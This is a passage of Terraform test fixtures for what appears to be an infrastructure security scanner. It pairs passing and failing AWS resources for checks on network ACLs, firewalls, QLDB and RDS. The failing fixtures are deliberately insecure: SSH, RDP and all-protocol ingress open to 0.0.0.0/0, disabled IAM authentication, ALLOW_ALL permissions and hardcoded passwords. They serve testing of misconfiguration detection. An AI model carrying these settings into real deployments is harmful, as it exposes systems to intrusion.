"aws_neptune_cluster" "ckv_unittest_pass" { ## Your test here cluster_identifier = "bla" iam_database_authentication_enabled = true } ## SHOULD FAIL: iam_database_authentication_enabled set to false resource "aws_neptune_cluster" "ckv_unittest_fail" { ## Your test here cluster_identifier = "bla_fail" iam_database_authentication_enabled = false } ## SHOULD FAIL: iam_database_authentication_enabled doesn't exist resource "aws_neptune_cluster" "ckv_unittest2_fail" { ## Your test here cluster_identifier = "bla_fail" } ================================================ FILE: tests/terraform/checks/resource/aws/example_NetworkACLUnrestricted/main.tf ================================================ resource "aws_network_acl_rule" "fail" { egress = false protocol = "all" rule_action = "allow" cidr_block = "0.0.0.0/0" network_acl_id = aws_network_acl.bar.id rule_number = 200 } resource "aws_network_acl" "bar" { vpc_id = "vpc-06074a092930bc809" } resource "aws_network_acl_rule" "pass" { egress = false protocol = "all" rule_action = "allow" cidr_block = "0.0.0.0/0" from_port = 80 to_port = 80 network_acl_id = aws_network_acl.bar.id rule_number = 200 } resource "aws_network_acl_rule" "ignore" { egress = true protocol = "all" rule_action = "allow" cidr_block = "0.0.0.0/0" network_acl_id = aws_network_acl.bar.id rule_number = 201 } resource "aws_network_acl_rule" "fail2" { egress = false protocol = "all" rule_action = "allow" cidr_block = "0.0.0.0/0" from_port="" network_acl_id = aws_network_acl.bar.id rule_number = 201 } ================================================ FILE: tests/terraform/checks/resource/aws/example_NetworkACLUnrestrictedIngress20/dynamic_blocks_map_brackets/main.tf ================================================ resource "aws_network_acl" "network_acl" { vpc_id = data.aws_vpc dynamic "ingress" { for_each = var.http_headers content { rule_no = ingress.value["num"] protocol = ingress.value["protoc"] action = "allow" cidr_block = ingress.value["values"] from_port = 5 to_port = 22 } } } ================================================ FILE: tests/terraform/checks/resource/aws/example_NetworkACLUnrestrictedIngress20/dynamic_blocks_map_brackets/variables.tf ================================================ variable "http_headers" { type = list(object({ num = number values = list })) default = [{ "num": 1, "protoc": "tcp", "values": ["0.0.0.0/0"] }, { "num": 2, "protoc": "tcp", "values": ["0.0.0.0/0"] }] } variable "aws_vpc" { default = true } ================================================ FILE: tests/terraform/checks/resource/aws/example_NetworkACLUnrestrictedIngress20/main.tf ================================================ resource "aws_network_acl" "pass3" { vpc_id = aws_vpc.VPC.id subnet_ids = aws_subnet.PublicSubnet.*.id ingress { rule_no = 10 protocol = "tcp" action = "deny" cidr_block = "0.0.0.0/0" from_port = 20 to_port = 22 } ingress { rule_no = 20 protocol = "tcp" action = "deny" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } ingress { rule_no = 100 protocol = -1 action = "allow" cidr_block = "0.0.0.0/0" from_port = 0 to_port = 0 } egress { rule_no = 100 protocol = -1 action = "allow" cidr_block = "0.0.0.0/0" from_port = 0 to_port = 0 } tags = { Name = "${var.TagName}-Public" } } resource "aws_network_acl" "fail4" { vpc_id = aws_vpc.VPC.id subnet_ids = aws_subnet.PublicSubnet.*.id ingress { rule_no = 30 protocol = "tcp" action = "deny" cidr_block = "0.0.0.0/0" from_port = 20 to_port = 22 } ingress { rule_no = 20 protocol = "tcp" action = "deny" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } ingress { rule_no = 10 protocol = -1 action = "allow" cidr_block = "0.0.0.0/0" from_port = 0 to_port = 0 } egress { rule_no = 100 protocol = -1 action = "allow" cidr_block = "0.0.0.0/0" from_port = 0 to_port = 0 } tags = { Name = "${var.TagName}-Public" } } resource "aws_network_acl_rule" "fail2" { network_acl_id = aws_network_acl.pass.id rule_number = 200 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "0.0.0.0/0" from_port = 5 to_port = 25 } resource "aws_network_acl" "fail" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "allow" cidr_block = "0.0.0.0/0" from_port = 20 to_port = 20 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "10.0.0.0/32" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "fail2" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "allow" cidr_block = "0.0.0.0/0" from_port = 20 to_port = 20 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_vpc" "main" { cidr_block = "10.0.0.0/16" } provider "aws" { region = "eu-west-2" } resource "aws_network_acl" "pass" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "allow" cidr_block = "10.0.0.0/32" from_port = 20 to_port = 20 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "10.0.0.0/32" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "pass2" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "deny" cidr_block = "0.0.0.0/0" from_port = 20 to_port = 20 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "10.0.0.0/32" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "pass2" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "deny" cidr_block = "0.0.0.0/0" from_port = 20 to_port = 20 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "10.0.0.0/32" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "unknown" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "fail3" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "allow" ipv6_cidr_block = "::/0" from_port = 20 to_port = 20 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl_rule" "fail" { network_acl_id = aws_network_acl.pass.id rule_number = 200 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "0.0.0.0/0" from_port = 20 to_port = 20 } resource "aws_network_acl_rule" "pass" { network_acl_id = aws_network_acl.pass.id rule_number = 200 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "10.0.0.0/32" from_port = 20 to_port = 20 } resource "aws_network_acl_rule" "pass2" { network_acl_id = aws_network_acl.pass.id rule_number = 200 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "10.0.0.0/32" from_port = 5 to_port = 25 } # open all resource "aws_network_acl_rule" "public_ingress" { network_acl_id = aws_network_acl.pass.id rule_number = 100 egress = false protocol = "-1" rule_action = "allow" cidr_block = "0.0.0.0/0" } ================================================ FILE: tests/terraform/checks/resource/aws/example_NetworkACLUnrestrictedIngress21/main.tf ================================================ resource "aws_network_acl" "pass3" { vpc_id = aws_vpc.VPC.id subnet_ids = aws_subnet.PublicSubnet.*.id ingress { rule_no = 10 protocol = "tcp" action = "deny" cidr_block = "0.0.0.0/0" from_port = 20 to_port = 22 } ingress { rule_no = 20 protocol = "tcp" action = "deny" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } ingress { rule_no = 100 protocol = -1 action = "allow" cidr_block = "0.0.0.0/0" from_port = 0 to_port = 0 } egress { rule_no = 100 protocol = -1 action = "allow" cidr_block = "0.0.0.0/0" from_port = 0 to_port = 0 } tags = { Name = "${var.TagName}-Public" } } resource "aws_network_acl" "fail4" { vpc_id = aws_vpc.VPC.id subnet_ids = aws_subnet.PublicSubnet.*.id ingress { rule_no = 30 protocol = "tcp" action = "deny" cidr_block = "0.0.0.0/0" from_port = 20 to_port = 22 } ingress { rule_no = 20 protocol = "tcp" action = "deny" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } ingress { rule_no = 10 protocol = -1 action = "allow" cidr_block = "0.0.0.0/0" from_port = 0 to_port = 0 } egress { rule_no = 100 protocol = -1 action = "allow" cidr_block = "0.0.0.0/0" from_port = 0 to_port = 0 } tags = { Name = "${var.TagName}-Public" } } resource "aws_network_acl_rule" "fail2" { network_acl_id = aws_network_acl.pass.id rule_number = 200 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "0.0.0.0/0" from_port = 5 to_port = 25 } resource "aws_network_acl" "fail" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "allow" cidr_block = "0.0.0.0/0" from_port = 21 to_port = 21 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "10.0.0.0/32" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "fail2" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "allow" cidr_block = "0.0.0.0/0" from_port = 21 to_port = 21 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "pass" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "allow" cidr_block = "10.0.0.0/32" from_port = 21 to_port = 21 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "10.0.0.0/32" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "pass2" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "deny" cidr_block = "0.0.0.0/0" from_port = 21 to_port = 21 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "10.0.0.0/32" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "unknown" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "fail3" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "allow" ipv6_cidr_block = "::/0" from_port = 21 to_port = 21 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_vpc" "main" { cidr_block = "10.0.0.0/16" } provider "aws" { region = "eu-west-2" } resource "aws_network_acl_rule" "fail" { network_acl_id = aws_network_acl.pass.id rule_number = 200 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "0.0.0.0/0" from_port = 21 to_port = 21 } resource "aws_network_acl_rule" "pass" { network_acl_id = aws_network_acl.pass.id rule_number = 200 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "10.0.0.0/32" from_port = 21 to_port = 21 } resource "aws_network_acl_rule" "pass2" { network_acl_id = aws_network_acl.pass.id rule_number = 200 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "10.0.0.0/32" from_port = 5 to_port = 25 } # open all resource "aws_network_acl_rule" "public_ingress" { network_acl_id = aws_network_acl.pass.id rule_number = 100 egress = false protocol = "-1" rule_action = "allow" cidr_block = "0.0.0.0/0" } ================================================ FILE: tests/terraform/checks/resource/aws/example_NetworkACLUnrestrictedIngress22/main.tf ================================================ resource "aws_network_acl" "pass3" { vpc_id = aws_vpc.VPC.id subnet_ids = aws_subnet.PublicSubnet.*.id ingress { rule_no = 10 protocol = "tcp" action = "deny" cidr_block = "0.0.0.0/0" from_port = 20 to_port = 22 } ingress { rule_no = 20 protocol = "tcp" action = "deny" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } ingress { rule_no = 100 protocol = -1 action = "allow" cidr_block = "0.0.0.0/0" from_port = 0 to_port = 0 } egress { rule_no = 100 protocol = -1 action = "allow" cidr_block = "0.0.0.0/0" from_port = 0 to_port = 0 } tags = { Name = "${var.TagName}-Public" } } resource "aws_network_acl" "fail4" { vpc_id = aws_vpc.VPC.id subnet_ids = aws_subnet.PublicSubnet.*.id ingress { rule_no = 30 protocol = "tcp" action = "deny" cidr_block = "0.0.0.0/0" from_port = 20 to_port = 22 } ingress { rule_no = 20 protocol = "tcp" action = "deny" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } ingress { rule_no = 10 protocol = -1 action = "allow" cidr_block = "0.0.0.0/0" from_port = 0 to_port = 0 } egress { rule_no = 100 protocol = -1 action = "allow" cidr_block = "0.0.0.0/0" from_port = 0 to_port = 0 } tags = { Name = "${var.TagName}-Public" } } resource "aws_network_acl_rule" "fail2" { network_acl_id = aws_network_acl.pass.id rule_number = 200 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "0.0.0.0/0" from_port = 5 to_port = 25 } resource "aws_network_acl" "fail" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "allow" cidr_block = "0.0.0.0/0" from_port = 22 to_port = 22 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "10.0.0.0/32" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "fail2" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "allow" cidr_block = "0.0.0.0/0" from_port = 22 to_port = 22 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "pass" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "allow" cidr_block = "10.0.0.0/32" from_port = 22 to_port = 22 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "10.0.0.0/32" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "pass2" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "deny" cidr_block = "0.0.0.0/0" from_port = 22 to_port = 22 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "10.0.0.0/32" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "unknown" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "fail3" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "allow" ipv6_cidr_block = "::/0" from_port = 22 to_port = 22 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_vpc" "main" { cidr_block = "10.0.0.0/16" } provider "aws" { region = "eu-west-2" } resource "aws_network_acl_rule" "fail" { network_acl_id = aws_network_acl.pass.id rule_number = 200 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "0.0.0.0/0" from_port = 22 to_port = 22 } resource "aws_network_acl_rule" "pass" { network_acl_id = aws_network_acl.pass.id rule_number = 200 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "10.0.0.0/32" from_port = 22 to_port = 22 } resource "aws_network_acl_rule" "pass2" { network_acl_id = aws_network_acl.pass.id rule_number = 200 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "10.0.0.0/32" from_port = 5 to_port = 25 } # open all resource "aws_network_acl_rule" "public_ingress" { network_acl_id = aws_network_acl.pass.id rule_number = 100 egress = false protocol = "-1" rule_action = "allow" cidr_block = "0.0.0.0/0" } resource "aws_network_acl_rule" "pass3" { vpc_id = aws_network_acl.pass.id egress { rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = false to_port = false } ingress { rule_no = 100 action = "allow" cidr_block = "0.0.0.0/0" from_port = false to_port = false } ingress { rule_no = 110 action = "allow" cidr_block = "0.0.0.0/0" from_port = false to_port = false } tags = { Name = "main" test = "fail" } } resource "aws_network_acl_rule" "unknown2" { vpc_id = aws_network_acl.pass.id rule_number = 100 ingress = true protocol = "-1" rule_action = "allow" cidr_block = "0.0.0.0/0" from_port = 80 to_port = 80 } ================================================ FILE: tests/terraform/checks/resource/aws/example_NetworkACLUnrestrictedIngress3389/main.tf ================================================ resource "aws_network_acl" "pass3" { vpc_id = aws_vpc.VPC.id subnet_ids = aws_subnet.PublicSubnet.*.id ingress { rule_no = 10 protocol = "tcp" action = "deny" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } ingress { rule_no = 20 protocol = "tcp" action = "allow" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } ingress { rule_no = 100 protocol = -1 action = "allow" cidr_block = "0.0.0.0/0" from_port = 0 to_port = 0 } egress { rule_no = 100 protocol = -1 action = "allow" cidr_block = "0.0.0.0/0" from_port = 0 to_port = 0 } tags = { Name = "${var.TagName}-Public" } } resource "aws_network_acl" "fail4" { vpc_id = aws_vpc.VPC.id subnet_ids = aws_subnet.PublicSubnet.*.id ingress { rule_no = 30 protocol = "tcp" action = "deny" cidr_block = "0.0.0.0/0" from_port = 20 to_port = 22 } ingress { rule_no = 20 protocol = "tcp" action = "deny" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } ingress { rule_no = 10 protocol = -1 action = "allow" cidr_block = "0.0.0.0/0" from_port = 0 to_port = 0 } egress { rule_no = 100 protocol = -1 action = "allow" cidr_block = "0.0.0.0/0" from_port = 0 to_port = 0 } tags = { Name = "${var.TagName}-Public" } } resource "aws_network_acl_rule" "fail2" { network_acl_id = aws_network_acl.pass.id rule_number = 200 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "0.0.0.0/0" from_port = 5 to_port = 4000 } resource "aws_network_acl" "fail" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "allow" cidr_block = "10.0.0.0/32" from_port = 22 to_port = 22 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "0.0.0.0/0" from_port = "3389" to_port = "3389" } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "fail2" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "allow" cidr_block = "0.0.0.0/0" from_port = 22 to_port = 22 } ingress { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "pass" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress = [{ protocol = "tcp" rule_no = 100 action = "allow" cidr_block = "10.0.0.0/32" from_port = 22 to_port = 22 }, { protocol = "tcp" rule_no = 110 action = "allow" cidr_block = "10.0.0.0/32" from_port = 3389 to_port = 3389 }] tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "pass2" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "deny" cidr_block = "0.0.0.0/0" from_port = 22 to_port = 22 } ingress { protocol = "tcp" rule_no = 110 action = "deny" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "unknown" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl" "fail3" { vpc_id = aws_vpc.main.id egress { protocol = "tcp" rule_no = 200 action = "allow" cidr_block = "10.3.0.0/18" from_port = 443 to_port = 443 } ingress { protocol = "tcp" rule_no = 100 action = "allow" cidr_block = "0.0.0.0/0" from_port = 22 to_port = 22 } ingress { protocol = "tcp" rule_no = 110 action = "allow" ipv6_cidr_block = "::/0" from_port = 3389 to_port = 3389 } tags = { Name = "main" test = "fail" } } resource "aws_network_acl_rule" "fail" { network_acl_id = aws_network_acl.pass.id rule_number = 200 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "0.0.0.0/0" from_port = 3389 to_port = 3389 } resource "aws_network_acl_rule" "pass" { network_acl_id = aws_network_acl.pass.id rule_number = 200 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "10.0.0.0/32" from_port = 3389 to_port = 3389 } resource "aws_network_acl_rule" "pass2" { network_acl_id = aws_network_acl.pass.id rule_number = 200 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "10.0.0.0/32" from_port = 5 to_port = 4000 } resource "aws_vpc" "main" { cidr_block = "10.0.0.0/16" } provider "aws" { region = "eu-west-2" } # open all resource "aws_network_acl_rule" "public_ingress" { network_acl_id = aws_network_acl.pass.id rule_number = 100 egress = false protocol = "-1" rule_action = "allow" cidr_block = "0.0.0.0/0" } resource "aws_network_acl_rule" "count_pass" { count = length(var.public_nacl_inbound_tcp_ports) network_acl_id = "test_id" rule_number = count.index + 101 egress = false protocol = "tcp" rule_action = "allow" cidr_block = "0.0.0.0/0" from_port = var.public_nacl_inbound_tcp_ports[count.index] to_port = var.public_nacl_inbound_tcp_ports[count.index] } ================================================ FILE: tests/terraform/checks/resource/aws/example_NetworkACLUnrestrictedIngress3389/variables.tf ================================================ variable "public_nacl_inbound_tcp_ports" { type = list(string) default = ["80", "443", "22", "1194"] description = "TCP Ports to allow inbound on public subnet via NACLs (this list cannot be empty)" } ================================================ FILE: tests/terraform/checks/resource/aws/example_NetworkFirewallDeletionProtection/main.tf ================================================ resource "aws_networkfirewall_firewall" "fail" { name = "example" firewall_policy_arn = aws_networkfirewall_firewall_policy.example.arn vpc_id = aws_vpc.example.id subnet_mapping { subnet_id = aws_subnet.example.id } tags = { Tag1 = "Value1" Tag2 = "Value2" } } resource "aws_networkfirewall_firewall" "fail2" { name = "example" firewall_policy_arn = aws_networkfirewall_firewall_policy.example.arn vpc_id = aws_vpc.example.id subnet_mapping { subnet_id = aws_subnet.example.id } tags = { Tag1 = "Value1" Tag2 = "Value2" } delete_protection = false } resource "aws_networkfirewall_firewall" "pass" { name = "example" firewall_policy_arn = aws_networkfirewall_firewall_policy.example.arn vpc_id = aws_vpc.example.id subnet_mapping { subnet_id = aws_subnet.example.id } tags = { Tag1 = "Value1" Tag2 = "Value2" } delete_protection = true } ================================================ FILE: tests/terraform/checks/resource/aws/example_NetworkFirewallPolicyDefinesCMK/main.tf ================================================ resource "aws_networkfirewall_firewall_policy" "fail" { name = "example" firewall_policy { stateless_default_actions = ["aws:pass", "ExampleCustomAction"] stateless_fragment_default_actions = ["aws:drop"] stateless_custom_action { action_definition { publish_metric_action { dimension { value = "1" } } } action_name = "ExampleCustomAction" } } } resource "aws_networkfirewall_firewall_policy" "fail2" { name = "example" firewall_policy { stateless_default_actions = ["aws:pass", "ExampleCustomAction"] stateless_fragment_default_actions = ["aws:drop"] stateless_custom_action { action_definition { publish_metric_action { dimension { value = "1" } } } action_name = "ExampleCustomAction" } } encryption_configuration { type="AWS_OWNED_KMS_KEY" } } resource "aws_networkfirewall_firewall_policy" "pass" { name = "example" firewall_policy { stateless_default_actions = ["aws:pass", "ExampleCustomAction"] stateless_fragment_default_actions = ["aws:drop"] stateless_custom_action { action_definition { publish_metric_action { dimension { value = "1" } } } action_name = "ExampleCustomAction" } } encryption_configuration { type="AWS_OWNED_KMS_KEY" key_id=aws_kms_key.pike.id } } ================================================ FILE: tests/terraform/checks/resource/aws/example_NetworkFirewallUsesCMK/main.tf ================================================ resource "aws_networkfirewall_firewall" "fail" { name = "example" firewall_policy_arn = aws_networkfirewall_firewall_policy.example.arn vpc_id = aws_vpc.example.id subnet_mapping { subnet_id = aws_subnet.example.id } tags = { Tag1 = "Value1" Tag2 = "Value2" } } resource "aws_networkfirewall_firewall" "fail2" { name = "example" firewall_policy_arn = aws_networkfirewall_firewall_policy.example.arn vpc_id = aws_vpc.example.id subnet_mapping { subnet_id = aws_subnet.example.id } encryption_configuration { type="AWS_OWNED_KMS_KEY" } tags = { Tag1 = "Value1" Tag2 = "Value2" } delete_protection = false } resource "aws_networkfirewall_firewall" "pass" { name = "example" firewall_policy_arn = aws_networkfirewall_firewall_policy.example.arn vpc_id = aws_vpc.example.id subnet_mapping { subnet_id = aws_subnet.example.id } encryption_configuration { key_id=aws_kms_key.pike.id type="CUSTOMER_KMS" } tags = { Tag1 = "Value1" Tag2 = "Value2" } delete_protection = true } resource "aws_networkfirewall_rule_group" "fail" { capacity = 100 name = "example" type = "STATEFUL" rule_group { rules_source { rules_source_list { generated_rules_type = "DENYLIST" target_types = ["HTTP_HOST"] targets = ["test.example.com"] } } reference_sets { ip_set_references { key = "example" ip_set_reference { reference_arn = aws_ec2_managed_prefix_list.this.arn } } } } tags = { Tag1 = "Value1" Tag2 = "Value2" } } resource "aws_networkfirewall_rule_group" "pass" { capacity = 100 name = "example" type = "STATEFUL" rule_group { rules_source { rules_source_list { generated_rules_type = "DENYLIST" target_types = ["HTTP_HOST"] targets = ["test.example.com"] } } reference_sets { ip_set_references { key = "example" ip_set_reference { reference_arn = aws_ec2_managed_prefix_list.this.arn } } } } encryption_configuration { key_id=aws_kms_key.pike.id type="CUSTOMER_KMS" } tags = { Tag1 = "Value1" Tag2 = "Value2" } } ================================================ FILE: tests/terraform/checks/resource/aws/example_QLDBLedgerDeletionProtection/main.tf ================================================ # pass resource "aws_qldb_ledger" "default" { name = "ledger" permissions_mode = "STANDARD" } resource "aws_qldb_ledger" "enabled" { name = "ledger" permissions_mode = "STANDARD" deletion_protection = true } # failure resource "aws_qldb_ledger" "disabled" { name = "ledger" permissions_mode = "STANDARD" deletion_protection = false } ================================================ FILE: tests/terraform/checks/resource/aws/example_QLDBLedgerPermissionsMode/main.tf ================================================ # pass resource "aws_qldb_ledger" "standard" { name = "ledger" permissions_mode = "STANDARD" } # failure resource "aws_qldb_ledger" "allow_all" { name = "ledger" permissions_mode = "ALLOW_ALL" } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSCACertIsRecent/main.tf ================================================ resource "aws_db_instance" "fail" { allocated_storage = 20 storage_type = "gp2" engine = "mysql" engine_version = "5.7" instance_class = "db.t2.micro" db_name = "mydb" username = "foo" password = "foobarbaz" iam_database_authentication_enabled = true storage_encrypted = true ca_cert_identifier = "rds-ca-2015" } locals { passing_ca_cert_identifiers = [ "rds-ca-rsa2048-g1", "rds-ca-rsa4096-g1", "rds-ca-ecc384-g1", ] } resource "aws_db_instance" "pass" { for_each = local.passing_ca_cert_identifiers allocated_storage = 20 storage_type = "gp2" engine = "mysql" engine_version = "5.7" instance_class = "db.t2.micro" db_name = "mydb" username = "foo" password = "foobarbaz" iam_database_authentication_enabled = true storage_encrypted = true ca_cert_identifier = each.key } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSClusterActivityStreamEncryptedWithCMK/main.tf ================================================ resource "aws_rds_cluster_activity_stream" "pass" { resource_arn = aws_rds_cluster.default.arn mode = "async" kms_key_id = aws_kms_key.default.key_id depends_on = [aws_rds_cluster_instance.default] } resource "aws_rds_cluster_activity_stream" "fail" { resource_arn = aws_rds_cluster.default.arn mode = "async" depends_on = [aws_rds_cluster_instance.default] } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSClusterAuditLogging/main.tf ================================================ # pass resource "aws_rds_cluster" "pass" { master_username = "username" master_password = "password" enabled_cloudwatch_logs_exports = ["audit"] iam_database_authentication_enabled = true } resource "aws_rds_cluster" "pass2" { master_username = "username" master_password = "password" enabled_cloudwatch_logs_exports = ["general", "audit"] iam_database_authentication_enabled = true engine = "aurora-mysql" } resource "aws_rds_cluster" "fail" { master_username = "username" master_password = "password" } resource "aws_rds_cluster" "fail2" { master_username = "username" master_password = "password" enabled_cloudwatch_logs_exports = ["error", "general", "slowquery"] 